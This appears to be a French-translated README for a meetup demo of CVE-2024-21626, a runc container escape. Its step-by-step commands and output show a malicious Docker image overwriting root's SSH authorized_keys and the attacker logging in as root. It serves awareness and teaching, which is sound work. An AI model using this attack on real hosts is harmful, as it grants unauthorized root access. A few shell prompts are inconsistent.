
Démonstration de l'exploit d'évasion de conteneur CVE-2024-21626 permettant un accès root à l'hôte via une image Docker malveillante, avec un scénario d'attaque étape par étape à des fins éducatives.
Démo pour le LT du Container Runtime Meetup #5.
Basée sur des informations publiques pour sensibiliser au risque d'attaque, toute utilisation malveillante est strictement interdite.
Container Runtime Meetup #5 〜そのイメージ、本当に信頼できますか?〜 CVE-2024-21626 でホストのrootを奪取する
Machine enregistrée sous le nom victim-server dans le ssh_config du laptop de démonstration.
ssh victim-server
Informations de version (conditions préalables à l'attaque) :
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
De même
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys est remplacé par la clé publique de l'attaquantCela n'est pas intentionnel, donc nous ne faisons rien ici, mais voici la commande pour vérifier la situation :
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)